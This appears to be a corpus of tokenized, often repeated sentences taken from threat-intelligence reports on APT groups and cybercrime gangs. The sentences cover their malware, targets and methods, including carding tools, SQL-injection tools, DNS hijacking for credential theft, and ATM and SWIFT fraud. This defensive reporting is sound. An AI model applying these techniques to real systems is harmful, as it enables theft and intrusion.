APT19 leveraged Rich Text Format (RTF) and macro-enabled Microsoft Excel files to deliver their initial exploits .
Mandiant consultants suspect that APT32 was monitoring web logs to track the public IP address used to request remote images .
Most of these data-stealing capabilities were present in the oldest variants of CARBANAK that we have seen and some were added over time .
Since May 2017 , Mandiant experts observed North Korean actors target at least three South Korean cryptocurrency exchanges with the suspected intent of stealing funds .
Russian cyber espionage actors use zero-day exploits in addition to less complex measures .
If the attackers are attempting to compromise persons involved in SEC filings due to their information access , they may ultimately be pursuing securities fraud or other investment abuse .
The HawkEye malware is primarily used for credential theft and is often combined with additional tools to extract passwords from email and web browser applications .
HawkEye is a versatile Trojan used by diverse actors for multiple purposes .
In this blog we provide insight into the tactics , techniques and procedures (TTPs) of a Brazilian cyber crime group that specializes in payment card fraud operations .
The threat actors , observed by FireEye Labs , use a variety of different methods to either compromise or acquire already compromised payment card credentials , including sharing or purchasing dumps online , hacking vulnerable merchant websites and compromising payment card processing devices .
Once in their possession , the actors use these compromised payment card credentials to generate further card information .
The members of the group use a variety of tools , including CCleaner , on a daily basis to effectively remove any evidence of their operations .
We have also observed them using virtual private network services that use IPs based in numerous countries to ensure anonymity and obfuscate criminal operations .
Based on our observations , this group uses a variety of different methods to either compromise or acquire already compromised payment card credentials .
Similarly , the group takes advantage of freely available consolidations of email credentials , personal information , and other data shared in eCrime forums for fraud purposes .
These actors scan websites for vulnerabilities to exploit to illicitly access databases .
The group also uses the SQL injection (SQLi) tools Havij Advanced SQL Injection Tool and SQLi Dumper version 7.0 (Figure 4) to scan for and exploit vulnerabilities in targeted eCommerce sites .
Once in possession of compromised payment card credentials , these actors use tools commonly known as card generators to generate new card numbers based on the compromised ones , creating additional opportunities for monetization .
The actors frequently use the stolen data to create cloned physical cards , which they use to attempt to withdraw funds from ATMs .
The group primarily uses the MSR 606 Software (Figure 12) and Hardware (Figure 13) to create cloned cards .
However , Brazilian actors commonly use several methods to do so , such as reselling cards they have created , paying bills with stolen cards in return for a portion of the bill's value and reselling illicitly obtained goods .
The individuals using Hancitor malware also known by the name Chanitor are no exception and have taken three approaches to deliver the malware in order to ultimately steal data from their victims .
Once downloaded and executed , it drops an intermediate payload that further downloads a Pony DLL and Vawtrak executable , which perform data theft and connect to a command and control (C2) server .
After the executable is executed ,it downloads Pony and Vawtrak malware variants to steal data .
Once a valid card with a malicious EMV chip is detected , RIPPER will instantiate a timer to allow a thief to control the machine .
Ploutus-D will load KXCashDispenserLib” library implemented by Kalignite Platform (K3A.Platform.dll) to interact with the XFS Manager and control the Dispenser (see Figure 13) .
DarkPulsar is a very interesting administrative module for controlling a passive backdoor named ' sipauth32.tsp ' that provides remote control , belonging to this category .
According to Wikipedia , the CSS was formed in 1972 to integrate the NSA and the Service Cryptologic Elements ( SCE ) of the U.S armed forces .
The toolset includes reams of documentation explaining how the cyber weapons work , as well as details about their use in highly classified intelligence operations abroad .
Emotet is a type of general-purpose malware that evolved from a well-known banking Trojan , " Cridex " , which was first discovered in 2014 .
It seems that the main objective of the attackers was information gathering from the infected computers .
Transparent Tribe has been active for several years and conducting suspected intelligence collection operations against South Asian political and military targets .
Between May 2017 and December 2018 , a multi-purpose command tool that has been used by Whitefly was also used in attacks against defense , telecoms , and energy targets in Southeast Asia and Russia .
In this case , a small group reusing exploit code , some powershell-based malware and mostly social engineering has been able to steal sensitive documents and data from victims since at least November 2015 .
The group exploits known vulnerabilities in Microsoft Office products to infect their targets with malware .
PittyTiger has also been seen using Heartbleed vulnerability in order to directly get valid credentials .
They have also been seen using Heartbleed vulnerability in order to directly get valid credentials .
The Pitty Tiger group mostly uses spear phishing in order to gain an initial foothold within the targeted environment .
Like many such groups , PLATINUM seeks to steal sensitive intellectual property related to government interests , but its range of preferred targets is consistently limited to specific governmental organizations , defense institutes , intelligence agencies , diplomatic institutions , and telecommunication providers in South and Southeast Asia .
LATINUM makes a concerted effort to hide their infection tracks , by self-deleting malicious components , or by using server side logic in ' one shot mode ' where remotely hosted malicious components are only allowed to load once .
PLATINUM does not conduct its espionage activity to engage in direct financial gain , but instead uses stolen information for indirect economic advantages .
PLATINUM uses a number of different custom-developed backdoors to communicate with infected computers .
The lack of any significant evidence of shared code between any of these backdoor families is another clue as to the scope of the resources on which the activity group is able to draw , and the precautions the group is willing and able to take in order to avoid losing its ability to conduct its espionage operations .
PLATINUM has developed or commissioned a number of custom tools to provide the group with access to victim resources .
The updated tool has only been seen in a handful of victim computers within organizational networks in Southeast Asia—PLATINUM is known to customize tools based on the network architecture of targeted organizations .
The PLATINUM tool is , to our knowledge , the first malware sample observed to misuse chipset features in this way .
The Poseidon Group actively targets this sort of corporate environment for the theft of intellectual property and commercial information , occasionally focusing on personal information on executives .
This particular unit is believed to hack into victim companies throughout the world in order to steal corporate trade secrets , primarily relating to the satellite , aerospace and communication industries .
PUTTER PANDA is a determined adversary group , conducting intelligence-gathering operations targeting the Government , Defense , Research , and Technology sectors in the United States , with specific targeting of the US Defense and European satellite and aerospace industries .
But according to Gnosticplayers , his foray into a public marketplace like Dream has two goals --besides the first and obvious one being money .
However , CTU analysis indicates that GOLD LOWELL is motivated by financial gain , and there is no evidence of the threat actors using network access for espionage or data theft .
The targeting of an organization rather than individuals , and the high ransom demands , made BitPaymer stand out from other contemporary ransomware at the time .
Ransom demands have varied significantly , suggesting that INDRIK SPIDER likely calculates the ransom amount based on the size and value of the victim organization .
Since they were first identified in January 2-16 , this adversary has consistently targeted large organizations for high ransom demands .
The BokBot malware provides LUNAR SPIDER affiliates with a variety of capabilities to enable credential theft and wire fraud , through the use of webinjects and a malware distribution function .
Instead , OurMine had managed to alter WikiLeaks 's DNS records ( held by a third-party registrar ) to direct anyone who tried to visit wikileaks.org to visit a different IP address which definitely wasn't under the control of Julian Assange and his cronies .
Alternatively , OurMine might have used social engineering to trick WikiLeaks 's DNS provider into handing over the credentials , or simple requested that a password reset link be sent to a compromised email address .
Alternatively , the attackers might have used social engineering to trick WikiLeaks 's DNS provider into handing over the credentials , or simple requested that a password reset link be sent to a compromised email address .
The group 's primary goal is demonstrating to companies that they have weak security .
The ultimate goal of this threat is to mine Monero cryptocurrency in compromised Linux machines .
It is worth noting that during our investigation f-secure uncovered links between infrastructure associated with the Callisto Group and infrastructure used to host online stores selling controlled substances .
The tool then starts a new web browser instance on the attacker’s system and submits credentials on the real VPN portal .
The malware checks whether its running on a 32-bit or 64-bit system to determine which PowerShell script to grab from the command and control (C2) server .
First , the attacker’s mission is to disrupt an operational process rather than steal data .
Georgian military security issues , particularly with regard to U.S. cooperation and NATO , provide a strong incentive for Russian state-sponsored threat actors to steal information that sheds light on these topics .
The espionage group , which according to the U.S. Department of Homeland Security ( DHS ) and the Federal Bureau of Investigation ( FBI ) is linked to the Russian government , returned to low-key intelligence-gathering operations during 2017 and into 2018 , targeting a range of military and government targets in Europe and South America .
The APT28 , which is linked to the Russian government , returned to low-key intelligence-gathering operations during 2017 and into 2018 , targeting a range of military and government targets in Europe and South America .
Another attack group , Earworm ( aka Zebrocy ) , has been active since at least May 2016 and is involved in what appears to be intelligence gathering operations against military targets in Europe , Central Asia , and Eastern Asia .
APT28 is using novel techniques involving the EternalBlue exploit and the open source tool Responder to spread laterally through networks and likely target travelers .
This whitepaper explores the tools - such as MiniDuke , CosmicDuke , OnionDuke , CozyDuke , etc- of the Dukes , a well-resourced , highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making .
The Dukes are a well-resourced , highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making .
We assess the targeting of multiple companies with aviation-related partnerships to Saudi Arabia indicates that APT33 may possibly be looking to gain insights on Saudi Arabia 's military aviation capabilities to enhance Iran 's domestic aviation capabilities or to support Iran 's military and strategic decision making vis a vis Saudi Arabia .
APT33 may possibly be looking to gain insights on Saudi Arabia 's military aviation capabilities to enhance Iran 's domestic aviation capabilities or to support Iran 's military and strategic decision making vis a vis Saudi Arabia .
APT33 registered multiple domains that masquerade as Saudi Arabian aviation companies and Western organizations that together have partnerships to provide training , maintenance and support for Saudi 's military and commercial fleet .
APT33 's focus on aviation may indicate the group 's desire to gain insight into regional military capabilities to enhance Iran 's aviation capabilities or to support Iran 's military and strategic decision making .
APT33 's focus on aviation may indicate the group 's desire to gain insight into regional military aviation capabilities to enhance Iran 's aviation capabilities or to support Iran 's military and strategic decision making .
It is possible that APT37 's distribution of KARAE malware via torrent websites could assist in creating and maintaining botnets for future distributed denial-of-service ( DDoS ) attacks , or for other activity such as financially motivated campaigns or disruptive operations .
Operation Daybreak appears to have been launched by unknown attackers to infect high profile targets through spear-phishing e-mails .
Operation Daybreak appears to have been launched by APT37 to infect high profile targets through spear-phishing e-mails .
APT38 is a financially motivated North Korean regime-backed group responsible for conducting destructive attacks against financial institutions , as well as some of the world 's largest cyber heists .
APT38 is a financially motivated North Korean regime-backed group responsible for conducting destructive attacks against financial institutions , as well as some of the world .
APT38 is believed to operate more similarly to an espionage operation , carefully conducting reconnaissance within compromised financial institutions and balancing financially motivated objectives with learning about internal systems .
APT38 is a financially motivated group linked to North Korean cyber espionage operators , renown for attempting to steal hundreds of millions of dollars from financial institutions and their brazen use of destructive malware .
Based on observed activity , we judge that APT38 's primary mission is targeting financial institutions and manipulating inter-bank financial systems to raise large sums of money for the North Korean regime .
Since 2015 , APT38 has attempted to steal hundreds of millions of dollars from financial institutions .
APT38 , in particular , is strongly distinguishable because of its specific focus on financial institutions and operations that attempt to use SWIFT fraud to steal millions of dollars at a time .
As previously mentioned , we assess with high confidence that APT38 's mission is focused on targeting financial institutions to raise money for the North Korean regime .
As previously mentioned , we assess with high confidence that APT38 's mission is focused on targeting financial institutions and financial systems to raise money for the North Korean regime .
Since at least the beginning of 2014 , APT38 operations have focused almost exclusively on developing and conducting financially motivated campaigns targeting international entities , whereas TEMP.Hermit is generally linked to operations focused on South Korea and the United States .
APT38 relies on DYEPACK , a SWIFT transaction-hijacking framework , to initiate transactions , steal money , and hide any evidence of the fraudulent transactions from the victimized bank .
During this heist , APT38 waited for a holiday weekend in the respective countries to increase the likelihood of hiding the transactions from banking authorities .
APT39 's focus on the widespread theft of personal information sets it apart from other Iranian groups FireEye tracks , which have been linked to influence operations , disruptive attacks , and other threats .
APT39 's focus on the telecommunications and travel industries suggests intent to perform monitoring , tracking , or surveillance operations against specific individuals , collect proprietary or customer data for commercial or operational purposes that serve strategic requirements related to national priorities , or create additional accesses and vectors to facilitate future campaigns .
Targeting data supports the belief that APT39 's key mission is to track or monitor targets of interest , collect personal information , including travel itineraries , and gather customer data from telecommunications firms .
BRONZE BUTLER uses credential theft tools such as Mimikatz and WCE to steal authentication information from the memory of compromised hosts .
Carbanak is a remote backdoor ( initially based on Carberp ) , designed for espionage , data exfiltration and to provide remote access to infected machines .
In some cases , the attackers used the Society for Worldwide Interbank Financial Telecommunication ( SWIFT ) network to transfer money to their accounts .
If found on the target system , Carbanak will try to exploit a known vulnerability in Windows XP , Windows Server 2003 , Windows Vista , Windows Server, Windows 7 , Windows 8 , and Windows Server 2012 , CVE-2013-3660 , for local privilege escalation .
To enable connections to the infected computer using the Remote Desktop Protocol ( RDP ) , Carbanak sets Termservice service execution mode to Auto .
Sometimes , they aim at establishing a foothold on the target 's computer to gain access into their organization , but , based on our data , this is usually not their main objective , as opposed to other Iranian threat groups , such as OilRig and CopyKittens .
During intense intelligence gathering over the last 24 months , we observed the technical capabilities of the Operation Cleaver team rapidly evolve faster than any previously observed Iranian effort .
Gallmaker used lure documents attempt to exploit the Microsoft Office Dynamic Data Exchange ( DDE ) protocol in order to gain access to victim machines .
Just a few months later , in February 2015 , we announced the discovery of Carbanak , a cyber-criminal gang that used custom malware and APT techniques to steal millionsdollars while infecting hundreds of financial institutions in at least 30 countries .
Our investigations revealed that the attackers drove around several cities in Russia , stealing money from ATMs belonging to different banks .
Utilizing KillDisk in the attack scenario most likely served one of two purposes : the attackers covering their tracks after an espionage operation , or it was used directly for extortion or cyber-sabotage .
The Lazarus Group 's objective was to gain access to the target 's environment and obtain key military program insight or steal money .
Just last week Lazarus were found stealing millions from ATMs across Asia and Africa .
The backdoors Lazarus are deploying are difficult to detect and a significant threat to the privacy and security of enterprises , allowing attackers to steal information , delete files , install malware , and more .
Bankshot is designed to persist on a victim 's network for further exploitation ; thus the Advanced Threat Research team believes this operation is intended to gain access to specific financial organizations .
The Leafminer 's post-compromise toolkit suggests that Leafminer is looking for email data , files , and database servers on compromised target systems .
Another intrusion approach used by Leafminer seems a lot less sophisticated than the previously described methods but can be just as effective : using specific hacktools to guess the login passwords for services exposed by a targeted system .
While the group has not yet demonstrated an ICS capability , RASPITE 's recent targeting focus and methodology are clear indicators of necessary activity for initial intrusion operations into an IT network to prepare the way for later potential ICS events .
FireEye is highlighting a cyber espionage operation targeting crucial technologies and traditional intelligence targets from a China-nexus state sponsored actor we call APT40 .
APT40 engages in broader regional targeting against traditional intelligence targets , especially organizations with operations in Southeast Asia .
The targeting of this individual suggests the actors are interested in breaching the French Ministry of Foreign Affairs itself or gaining insights into relations between France and Taiwan .
During a recent campaign , APT32 leveraged social engineering emails with Microsoft ActiveMime file attachments to deliver malicious macros .
APT35 also installed BROKEYOLK , a custom backdoor , to maintain persistence on the compromised host .
They then proceeded to log directly into the VPN using the credentials of the compromised user .
Ultimately , APT35 had used access to hundreds of mailboxes to read email communications and steal data related to Middle East organizations , which later became victims of destructive attacks .
The group has repeatedly used social media , particularly LinkedIn , to identify and interact with employees at targeted organizations , and then used weaponized Excel documents to deliver RATs such as PupyRAT .
Sometimes , they aim at establishing a foothold on the target 's computer to gain access into their organization , but , based on our data , this is usually not their main objective , as opposed to other Iranian threat groups , such as Oilrig1 and CopyKittens2 .
To sum up , the HBO hacker - Behzad Mesri is a member of Turk Black Hat along with ArYaIeIrAn , who provides infrastructure for Charming Kitten activity via PersianDNS / Mahanserver together with Mohammad Rasoul Akbari , who is a Facebook friend of Behzad Mesri 's .
They move laterally and escalate system privileges to extract sensitive information — whenever the attacker wants to do so.4 ,5 Because some RATs used in targeted attacks are widely available , determining whether an attack is part of a broader APT campaign can be difficult .
In 2011 , three years after the most recent release of PIVY , attackers used the RAT to compromise security firm RSA and steal data about its SecureID authentication system .
Attackers can point and click their way through a compromised network and exfiltrate data .
The campaign , which we refer to as Operation Cloud Hopper , has targeted managed IT service providers ( MSPs ) , allowing APT10 unprecedented potential access to the intellectual property and sensitive data of those MSPs and their clients globally .
PwC UK and BAE Systems assess it is highly likely that APT10 is a China-based threat actor with a focus on espionage and wide ranging information collection .
APT10 is known to have exfiltrated a high volume of data from multiple victims , exploiting compromised MSP networks , and those of their customers , to stealthily move this data around the world .
This , in turn , would provide access to a larger amount of intellectual property and sensitive data .
APT10 has been observed to exfiltrate stolen intellectual property via the MSPs , hence evading local network defences .
In order to gain any further credentials , APT10 will usually deploy credential theft tools such as mimikatz or PwDump , sometimes using DLL load order hijacking , to use against a domain controller , explained further in Annex B .
For example , in addition to compromising high value domain controllers and security servers , the threat actor has also been observed identifying and subsequently installing malware on low profile systems that provide non-critical support functions to the business , and are thus less likely to draw the attention of system administrators .
Primarily focused on governments and military operations of countries with interests in the South China Sea , Moafee likely chooses its targets based on region 's rich natural resources .
By targeting high-tech and manufacturing operations in Japan and Taiwan , DragonOK may be acquiring trade secrets for a competitive economic advantage .
It is in use by the Molerats ( aka Gaza cybergang ) , a politically motivated group whose main objective , we believe , is intelligence gathering .
DustySky has been developed and used since May 2015 by Molerats ( aka " Gaza cybergang " ) , a terrorist group whose main objective in this campaign is intelligence gathering .
FIN7 is a threat actor group that is financially motivated with targets in the restaurant , services and financial sectors .
Seedworm likely functions as a cyber espionage group to secure actionable intelligence that could benefit their sponsor 's interests .
After compromising a system , typically by installing Powermud or Powemuddy , Seedworm first runs a tool that steals passwords saved in users ' web browsers and email , demonstrating that access to the victim 's email , social media , and chat accounts is one of their likely goals .
It was during operator X 's network monitoring that the attackers placed Naikon proxies within the countries ' borders , to cloak and support real-time outbound connections and data exfiltration from high-profile victim organizations .
In addition to stealing keystrokesNaikon also intercepted network traffic .
Although most malware today either seeks monetary gain or conducts espionage for economic advantage , both of these activity groups appear to seek information about specific individuals .
PROMETHIUM uses a unique set of tools and methods to perform actions like lateral movement and data exfiltration .
Last year , Microsoft researchers described Neodymium 's behavior as unusual : " unlike many activity groups , which typically gather information for monetary gain or economic espionage , PROMETHIUM and NEODYMIUM appear to launch campaigns simply to gather information about certain individuals .
Unlike many activity groups , which typically gather information for monetary gain or economic espionage , PROMETHIUM and NEODYMIUM appear to launch campaigns simply to gather information about certain individuals .
The threat actor behind ProjectSauron commands a top-of-the-top modular cyber-espionage platform in terms of technical sophistication , designed to enable long-term campaigns through stealthy survival mechanisms coupled with multiple exfiltration methods .
In March 2016 , Symantec published a blog on Suckfly , an advanced cyberespionage group that conducted attacks against a number of South Korean organizations to steal digital certificates .
During this time they were able to steal digital certificates from South Korean companies and launch attacks against Indian and Saudi Arabian government organizations .
The ultimate objective of targeted attacks is to acquire sensitive data .
Like many threat groups , TG-3390 conducts strategic web compromises ( SWCs ) , also known as watering hole attacks , on websites associated with the target organization 's vertical or demographic to increase the likelihood of finding victims with relevant information .
Based on this information , CTU researchers assess that TG-3390 aims to collect defense technology and capability intelligence , other industrial intelligence , and political intelligence from governments and NGOs .
CTU researchers have discovered numerous details about TG-3390 operations , including how the adversaries explore a network , move laterally , and exfiltrate data .
Within six hours of entering the environment , the threat actors compromised multiple systems and stole credentials for the entire domain .
As of this publication , BRONZE UNION remains a formidable threat group that targets intellectual property and executes its operations at a swift pace .
This time the group chose a national data center as its target from an unnamed country in Central Asia in an attempt to gain " access to a wide range of government resources at one fell swoop " .
Dell SecureWorks researchers unveiled a report on Threat Group-3390 that has targeted companies around the world while stealing massive amounts of industrial data .
LAS VEGAS—Today at the Black Hat information security conference , Dell SecureWorks researchers unveiled a report on a newly detected hacking group that has targeted companies around the world while stealing massive amounts of industrial data .
Once inside networks , the group generally targeted Windows network domain controllers and Exchange e-mail servers , targeting user credentials to allow them to move to other systems throughout the targeted network .
Also , by creating this type of API access , Turla could use one accessible server as a single point to dump data to and exfiltrate data from .
However , based on the findings shared in this report we assess with high confidence that the actor 's primary long-term mission is politically focused .
The primary goal of these attacks was likely to find code-signing certificates for signing future malware .
ALLANITE uses email phishing campaigns and compromised websites called watering holes to steal credentials and gain access to target networks , including collecting and distributing screenshots of industrial control systems .
ALLANITE operations limit themselves to information gathering and have not demonstrated any disruptive or damaging capabilities .
A current round of cyber-attacks from Chinese source groups are targeting the maritime sector in an attempt to steal technology .
Dragos does not corroborate nor conduct political attribution to threat activity .
As recently as this past week , researchers observed Chinese hackers escalating cyber-attack efforts to steal military research secrets from US universities .
The group has also targeted businesses operating in the South China Sea , which is a strategically important region and the focus of disputes between China and other states .
Like many espionage campaigns , much of APT40 's activity begins by attempting to trick targets with phishing emails , before deploying malware such as the Gh0st RAT trojan to maintain persistence on a compromised network .
The group used malware with keylogging capabilities to monitor the computer of an executive who manages the company 's relationships with other telecommunications companies .
We suspect that the group sought access to these networks to obtain information that would enable it to monitor communications passing through the providers' systems .
Bahamut was shown to be resourceful , not only maintaining their own Android malware but running propaganda sites , although the quality of these activities varied noticeably .
One curious trait of Bahamut is that it develops fully-functional applications in support of its espionage activities , rather than push nonfunctional fake apps or bundle malware with legitimate software .
Curiously , Bahamut appears to track password attempts in response to failed phishing attempts or to provoke the target to provide more passwords .
Thus far , Bahamut 's campaigns have appeared to be primarily espionage or information operations – not destructive attacks or fraud .
Once the Barium Defendants have access to a victim computer through the malware described above , they monitor the victim 's activity and ultimately search for and steal sensitive documents ( for example , exfiltration of intellectual property regarding technology has been seen ) , and personal information fi"om the victim 's network .
Based on the mutexes and domain names of some of their C&C servers , BlackTech 's campaigns are likely designed to steal their target 's technology .
Bookworm has little malicious functionality built-in , with its only core ability involving stealing keystrokes and clipboard contents .
Also , Bookworm uses a combination of encryption and compression algorithms to obfuscate the traffic between the system and C2 server .
They have different functions and ways of spreading , but the same purpose — to steal money from the accounts of businesses .
At that time it was the name of a cybercriminal group that was stealing money from Russian financial establishments — to the tune of at least $150,000 per hit .
Estimating the damages is challenging , but as we learned , the criminals are siphoning off assets in transactions that do not exceed $15,000 each .
Once an exploitable page is identified , Clever Kitten will attempt to upload a PHP backdoor to gain remote access to the system .
Once an exploitable page is identified , the actor will attempt to upload a PHP backdoor to gain remote access to the system .
In Clever Kitten 's attacks , the goal is lateral movement ; this is an attempt to move further into the target environment in order to begin intelligence collection .
Confucius' operations include deploying bespoke backdoors and stealing files from their victim 's systems with tailored file stealers , some of which bore resemblances to Patchwork 's .
Threat actors like Confucius and Patchwork are known for their large arsenal of tools and ever-evolving techniques that can render traditional security solutions — which are often not designed to handle the persistent and sophisticated threats detailed in this blog — ineffective .
In order to increase the likelihood of their malware successfully communicating home , cyber espionage threat actors are increasingly abusing legitimate web services , in lieu of DNS lookups to retrieve a command and control address .
To spread the Corkow malware criminals use a drive-by downloads method , when victims are infected while visiting compromised legitimate websites .
Group-IB specialists detected various sites used by criminals to spread the Trojan : mail tracking websites , news portals , electronic books , computer graphics resources , music portals , etc .
Metel is a banking Trojan ( also known as Corkow ) discovered in 2011 when it was used to attack users of online banking services .
After the infection stage , criminals move laterally with the help of legitimate and pentesting tools , stealing passwords from their initial victims ( entry point ) to gain access to the computers within the organization that have access to money transactions .
Delivering a backdoor and spyware , this campaign was designed to steal information from infected systems using a malware client capable of filtering out " uninteresting " files , and spread primarily via a targeted phishing email usually promising a pornographic video .
Delivering a backdoor and spyware , Desert Falcons 's campaign was designed to steal information from infected systems using a malware client capable of filtering out " uninteresting " files , and spread primarily via a targeted phishing email usually promising a pornographic video .
Talos said the perpetrators of DNSpionage were able to steal email and other login credentials from a number of government and private sector entities in Lebanon and the United Arab Emirates by hijacking the DNS servers for these targets , so that all email and virtual private networking ( VPN ) traffic was redirected to an Internet address controlled by the attackers .
Talos reported that these DNS hijacks also paved the way for the attackers to obtain SSL encryption certificates for the targeted domains ( e.g.webmail.finance.gov.lb ) , which allowed them to decrypt the intercepted email and VPN credentials and view them in plain text .
This APT group usually carries out target attacks against government agencies to steal sensitive information .
All attackers simply moved to new C2 infrastructure , based largely around dynamic DNS domains , in addition to making minimal changes to the malware in order to evade signature-based detection .
With GozNym , attackers dupe users by showing them the actual bank 's URL and SSL certificate .
During these intrusions , LEAD 's objective was to steal sensitive data , including research materials , process documents , and project plans .
While the machine is in isolation , SOC personnel can direct the infected machine to collect live investigation data , such as the DNS cache or security event logs , which they can use to verify alerts , assess the state of the intrusion , and support follow-up actions .
In Russia , there were several relatively large cybercriminal groups engaged in financial theft via attacks on RBS .
Since 2011 , the robbers had allegedly been stealing money directly from bank accounts in Russia and other countries of the Commonwealth of Independent States ( CIS ) by using a Trojan called Lurk .
Cadelle 's threats are capable of opening a back door and stealing information from victims' computers .
These threats are capable of opening a back door and stealing information from victims' computers .
Callisto Group appears to be intelligence gathering related to European foreign and security policy .
Based on our analysis of Callisto Group 's usage of RCS Galileo , we believe the Callisto Group did not utilize the leaked RCS Galileo source code , but rather used the leaked readymade installers to set up their own installation of the RCS Galileo platform .
Called Greenbug , this group is believed to be instrumental in helping Shamoon steal user credentials of targets ahead of Shamoon 's destructive attacks .
On Tuesday , Arbor Networks said that it has new leads on a credential stealing remote access Trojan ( RAT ) called Ismdoor , possibly used by Greenbug to steal credentials on Shamoon 's behalf .
It's now relying on a new DNS-based attack technique to better cloak command and control communications between Greenbug and the malware " , said Dennis Schwarz , research analyst on Arbor 's ASERT Team , in an interview with Threatpost .
t's now relying on a new DNS-based attack technique to better cloak command and control communications between Greenbug and the malware " , said Dennis Schwarz , research analyst on Arbor 's ASERT Team , in an interview with Threatpost .
In the context of the Ismdoor RAT , the DNS attack technique is used primarily by Greenbug for stealing credentials .
According to the security experts , this collection of malware was discovered after their first initial report was published , meaning that Group 27 ignored the fact they were unmasked and continued to infect their targets regardless , through the same entry point , the Myanmar Union Election Commission ( UEC ) website .
The attackers compromised two legitimate Thai websites to host the malware , which is a tactic this group has used in the past .
We were not able to find additional tools , but the attackers again compromised a legitimate Thai website to host their malware , in this case the student portal for a Thai University .
As we have seen in some previous targeted malware attacks , the attackers in this incident are taking advantage of services like changeip.com to establish free subdomains in their infrastructure .
Blending in with legitimate traffic is a common tactic used by attackers to help fly under the radar .
The Tibetan community has been targeted for over a decade by espionage operations that use malware to infiltrate communications and gather information .
he Tibetan community has been targeted for over a decade by espionage operations that use malware to infiltrate communications and gather information .
In another modification , first observed in the most recent October 11 Parliamentarian operation ( version agewkassif ) , the developer (s ) of KeyBoy began using a string obfuscation routine in order to hide many of the critical values referenced within the malware .
To control the full operation , MoneyTaker uses a Pentest framework Server .
At the end of June 2015 Mofang started its campaign to gather information of a specific target in relation to the sezs : the cpg Corporation .
After successfully infecting one of the computers and gaining initial access to the system , the attackers perform reconnaissance of the local network in order to gain domain administrator privileges and eventually consolidate control over the network .
This newly observed activity uses a series of redirections and fileless , malicious implementations of legitimate tools to gain access to the targeted systems .
The goal of the attackers appears to be to collect intellectual property such as design documents , formulas , and manufacturing processes .
The purpose of the attacks appears to be industrial espionage , collecting intellectual property for competitive advantage .
This particular threat was also used by hackers to compromise a Korean social network site to steal records of 35 million users .
These attacks are primarily targeting private industry in search of key intellectual property for competitive advantage , military institutions , and governmental organizations often in search of documents related to current political events and human rights organizations .
Nitro 's campaign focused on the chemical sector with the goal of obtaining sensitive documents such as proprietary designs , formulas , and manufacturing processes .
This attack campaign focused on the chemical sector with the goal of obtaining sensitive documents such as proprietary designs , formulas , and manufacturing processes .
Examples of notable Potao dissemination techniques , some of which were previously unseen , or at least relatively uncommon , include the use of highly-targeted spear-phishing SMS messages to drive potential victims to malware download sites and USB worm functionality that tricked the user into ' willingly ' executing the trojan .
The PassCV group continues to be one of the most successful and active threat groups that leverage a wide array of stolen Authenticode-signing certificates .
The PassCV group continues to be extremely effective in compromising both small and large game companies and surreptitiously using their code-signing certificates to infect an even larger swath of organizations .
The ScarCruft group keeps expanding its exfiltration targets to steal further information from infected hosts and continues to create tools for additional data exfiltration .
Financially motivated APT groups which focus efforts on targeted attacks on the financial sector such as — Anunak , Corkow , Buhtrap — usually managed botnets using developed or modified banking Trojans .
They are selective in their attacks and wait for about three months between incidents , which is approximately three times longer than other financially motivated APT groups , like MoneyTaker , Anunak ( Carbanak ) , Buhtrap or Cobalt .
The company specializes in finance and natural resources specific to that region .
Based on the profile of the victims and the type of information targeted by the attackers , Symantec believes that Butterfly is financially motivated , stealing information it can potentially profit from .
Fxmsp specialize in breaching highly secure protected networks to access private corporate and government information .
But , thanks to the attackers known affection for decoy documents that pose as news summaries ,we were able to date the campaign back to March 2018 .
Donot attacked government agencies , aiming for classified intelligence .
Lazarus is a very active attack group involved in both cyber crime and espionage .
To make the fraudulent withdrawals , Lazarus first breaches targeted banks' networks and compromises the switch application servers handling ATM transactions .
The operation , known as FASTCash” has enabled Lazarus to fraudulently empty ATMs of cash .
This malware in turn intercepts fraudulent Lazarus cash withdrawal requests and sends fake approval responses ,allowing the attackers to steal cash from ATMs .
The threat actors behind the Sea Turtle campaign were successful in compromising entities by manipulating and falsifying DNS records at various levels in the domain name space .
If an attacker was able to compromise an organization's network administrator credentials , the attacker would be able to change that particular organization's DNS records at will .
If the attackers were able to obtain one of these EPP keys , they would be able to modify any DNS records that were managed by that particular registrar .
Captured legitimate user credentials when users interacted with these actor - controlled servers .
During a typical incident , the actor would modify the NS records for the targeted organization , pointing users to a malicious DNS server that provided actor-controlled responses to all DNS queries .
The next step for the actor was to build MitM servers that impersonated legitimate services to capture user credentials .
This redirection allowed the attackers to harvest credentials of administrators who manage domains with the TLD of Saudi Arabia (.sa) .
Obtaining access to this ccTLD registrars would have allowed attackers to hijack any domain that used those ccTLDs .
Once they have access to the network , they steal the organization's legitimate SSL certificate and use it on actor-controlled servers .
The document exploited CVE-2012-0158 and will decode and write an executable to disk upon infection .
iSiGHT Partners has tracked Sandworm Team for some time - and we publicly reported on some of their activities in October 2014 , when we discovered their use of a zero-day exploit , CVE-2014-4114 .
In July of 2015 , we identified a full e-mail uploaded to an antivirus scanning service that carried a Scarlet Mimic exploit document .
The group uses legitimate administration tools to fly under the radar in their post-exploitation phase , which makes detection of malicious activity , as well as attribution more complicated .
Through the exploitation of the HTA handler vulnerability described in CVE-2017-1099 , the observed RTF attachments download .
In early May , the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE-2017-0199 .
As early as March 4 , 2017 , malicious documents exploiting CVE-2017-0199 were used to deliver the LATENTBOT malware .
FireEye believes that two actors – Turla and an unknown financially motivated actor – were using the first EPS zero-day CVE-2017-0261 , and APT28 was using the second EPS zero-day CVE-2017-0262 along with a new Escalation of Privilege (EOP) zero-day CVE-2017-0263 .
The first , st07383.en17.docx , continues by utilizing 32 or 64 bit versions of CVE-2017-0001 to escalate privileges before executing a final JavaScript payload containing a malware implant known as SHIRIME .
This vulnerability was found in a document named Trump's_Attack_on_Syria_English.docx” .
It is possible that CVE-2017-8759 was being used by additional actors .
The addition of the EternalBlue exploit to Metasploit has made it easy for threat actors to exploit these vulnerabilities .
The Magnitude EK landing page consisted of CVE-2016-0189 , which was first reported by FireEye as being used in Neutrino Exploit Kit after it was patched .
The malware leverages an exploit , codenamed EternalBlue” , that was released by the Shadow Brokers on April 14 , 2017 .
Some hackers even went onto use the Cisco exploits in the wild .
DanderSpritz is the framework for controlling infected machines , different from FuZZbuNch as the latter provides a limited toolkit for the post-exploitation stage with specific functions such as DisableSecurity and EnableSecurity for DarkPulsar .
